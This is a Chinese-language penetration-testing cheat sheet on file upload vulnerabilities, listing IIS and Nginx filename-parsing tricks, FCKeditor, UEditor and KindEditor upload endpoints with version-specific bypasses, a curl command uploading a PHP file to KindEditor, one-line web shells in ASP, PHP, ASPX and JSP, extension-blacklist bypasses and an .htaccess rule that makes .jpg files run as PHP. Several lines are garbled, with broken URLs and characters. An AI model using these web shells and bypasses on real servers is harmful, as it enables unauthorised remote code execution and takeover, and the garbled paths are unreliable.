上传漏洞
常见脆弱容器上传方法
容器名称 | 版本 | 文件名 | |
---|---|---|---|
IIS | 6.0 | test.asp;.jpg /test.asp/test.jpg | 文件解析漏洞 |
IIS | 7.0 | test.jpg/.php | 默认开启cgi.fi |
IIS | 7.5 | a.asp.a; .a.aspx.jpg…jpg | 默认开启cgi.fi |
Nginx | 0.5.,0.6.,0.7<=0.765,0.8<=0.8.37 | /file.jpg%00.php | 00截断 |
编辑器漏洞
-
百度编辑器 Ueditor
controller.ashx?action=catchimage
-
FCKeditor
查看版本
- /fckeditor/editor/dialog/fck_about.html
- /FCKeditor/_whatsnew.html
上传页面
- FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?
Command=GetFoldersAndFiles& Type=lmage&CurrentFolder=/ - FCKeditor/editor/filemanager/browser/default/browser.html?
type=lmage&connector=connectors/asp/connector.asp - FCKeditor/editor/filemanager/browser/default/browser.html?
Type=lmage&Connectorttp://www.site. com%2Ffckeditor%2Feditor92Ffilemanager%2Fcon
nectors%2Fphp%2Fconnector. php (ver:2.6.3测试通过) - FCKeditor/editor/filemanager/browser/default/browser.html?
Type=lmage&Connector=connectors/jsp/connector.jsp
FCKeditor/editor/filemanager/browser/defaultconnectors/test.html - FCKeditor/editor/filemanager/upload/test.html
- FCKeditor/editor/filemanager/connectors/test.html
- FCKeditor/editor/filemanager/connectors/uploadtest.html
- FCKeditor/editor/fckeditor.html不可以上传文件,可以点击上传图片按钮再选择浏览服务器即
跳转至可t传立 件而
上传思路
-
version 2.2版本
Apache+linux环境下在上传文件后面加.突破
-
version<=2.4.2 for php
在处理PHP上传的地方并未对Media类型进行上传文件类型的控制,导致用户上传任意文件
-
version 2.4.1
修改CurrentFolder参数使用…/…/来进入不同的目录
jsp版本:
-
version 2.0<=2.2
允许上传asa,cer,php2,php4,inc,pwml,pht后缀的文件上传后它保存的文件直接用的
KindEditor
上传页面
- kindeditor/asp/upload json.asp
- kindeditor/asp.net/upload json.ashx
- kindeditor/jsp/upload_ json.jsp
- kindeditor/php/upload_ json.php
上传思路
kindeditor<=4.1.5
curl -F “imFile=@1.php” http://127.0.0.1/test/kindeditor/php/upload_json.php?dir=file
上传总结:
文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接
asp一句话
<%eval request('x')%>
PHP一句话
<?php eval($POST[X]); ?>
aspx一句话
<%@ Page Language='Jscript'%><%eval(Request.Item['x'],'unsafe');%>
jsp一句话
<%Runtime.getRuntime().exec(request.getParameter("x"));%>
服务器端的上传验证
白名单验证定义允许上传的后缀类型,除此所有后缀都不允许
黑名单验证
定义不允许上传的后缀类型,除此之类其他后缀都可以上传
定义不允许上传的后缀 asp,aspx,asa,cer,cdx,ashx
突破方法
未重命名可以配合解析漏洞
可以用cer达到绕过效果
如果未使用转换函数强制转换后缀为小写(Asp)
特殊后缀达到效果,利用ashx来生成一句话
.htaccess来实现后缀引导。上传jpg可以解析成脚本,具体在内容定义
文件头验证
伪造文件头
文件类型验证
添加./htaccess来实现绕过
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>
表示jpg后缀的文件会被当做php文件解析